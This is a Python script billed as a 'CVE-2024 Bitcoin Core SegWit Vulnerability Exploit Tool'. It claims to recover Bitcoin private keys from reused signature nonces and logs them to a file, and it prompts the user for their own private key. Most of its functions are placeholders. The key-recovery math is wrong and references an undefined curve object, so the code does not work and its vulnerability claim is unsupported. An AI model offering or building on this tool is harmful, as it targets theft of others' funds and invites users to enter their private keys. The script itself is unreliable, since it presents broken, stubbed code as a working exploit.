import hashlib
import requests
import base58
def create_segwit_transaction(from_address, to_address, amount, private_key):
tx = {
'inputs': [{'address': from_address, 'amount': amount, 'private_key':
private_key}],
'outputs': [{'address': to_address, 'amount': amount}],
'raw': 'raw-transaction-data-placeholder'
}
return tx
def manipulate_raw_transaction(tx):
manipulated_tx = tx.copy()
manipulated_tx['raw'] = 'manipulated-raw-transaction-data'
return manipulated_tx
def extract_private_key(tx, address):
private_key = "simulated-private-key-for-" + address
return private_key
def send_manipulated_transaction(manipulated_tx):
return True
def get_raw_transaction(txid):
url = f"https://blockstream.info/api/tx/{txid}"
try:
response = requests.get(url)
if response.status_code == 200:
return response.json()['hex']
else:
print("Error fetching raw transaction.")
return None
except Exception as e:
print(f"Exception while fetching raw transaction: {e}")
return None
def get_sigs_from_tx(raw_tx):
signatures = []
# Simulate parsing of raw transaction to extract signatures
if raw_tx:
sig = 'dummy_signature' # Placeholder for actual extracted signature
signatures.append(sig)
return signatures
def detect_reused_r(signatures):
seen = {}
reused = []
for sig in signatures:
r = sig[:64] # Assume first 64 bytes are 'r' value
if r in seen:
reused.append((r, seen[r], sig))
else:
seen[r] = sig
return reused
def extract_private_key_from_reused_r(sig1, sig2):
r = int(sig1[:64], 16)
s1 = int(sig1[64:], 16)
s2 = int(sig2[64:], 16)
e1 = int.from_bytes(hashlib.sha256(bytes.fromhex(sig1[:64]) +
b"message1").digest(), 'big')
e2 = int.from_bytes(hashlib.sha256(bytes.fromhex(sig2[:64]) +
b"message2").digest(), 'big')
try:
priv = ((s1 - s2) * mod_inv(e1 - e2, secp256k1.q)) % secp256k1.q
return hex(priv)
except:
return None
def mod_inv(a, p):
return pow(a, -1, p)
def main():
from_address = input("Enter the SegWit 'from' address: ").strip()
to_address = input("Enter the SegWit 'to' address: ").strip()
amount = float(input("Enter the amount to send (in BTC): "))
private_key = input("Enter the private key of the 'from' address: ").strip()
tx = create_segwit_transaction(from_address, to_address, amount, private_key)
raw_tx = tx['raw']
txid = "dummy_txid" # Placeholder for actual transaction ID
raw_tx_data = get_raw_transaction(txid)
if raw_tx_data:
signatures = get_sigs_from_tx(raw_tx_data)
reused_r = detect_reused_r(signatures)
if reused_r:
print("Potential reused r values found. Attempting private key
extraction...")
for sig1, sig2 in reused_r:
priv_key = extract_private_key_from_reused_r(sig1, sig2)
if priv_key:
print(f"Private Key Found: {priv_key}")
with open("found.txt", "a") as f:
f.write(f"{from_address} -> {priv_key}\n")
else:
print("No reused r values found.")
else:
print("No raw transaction data found.")
if __name__ == "__main__":
print("CRYPTOGRAPHYTUBE - CVE-2024 Bitcoin Core SegWit Vulnerability Exploit
Tool")
main()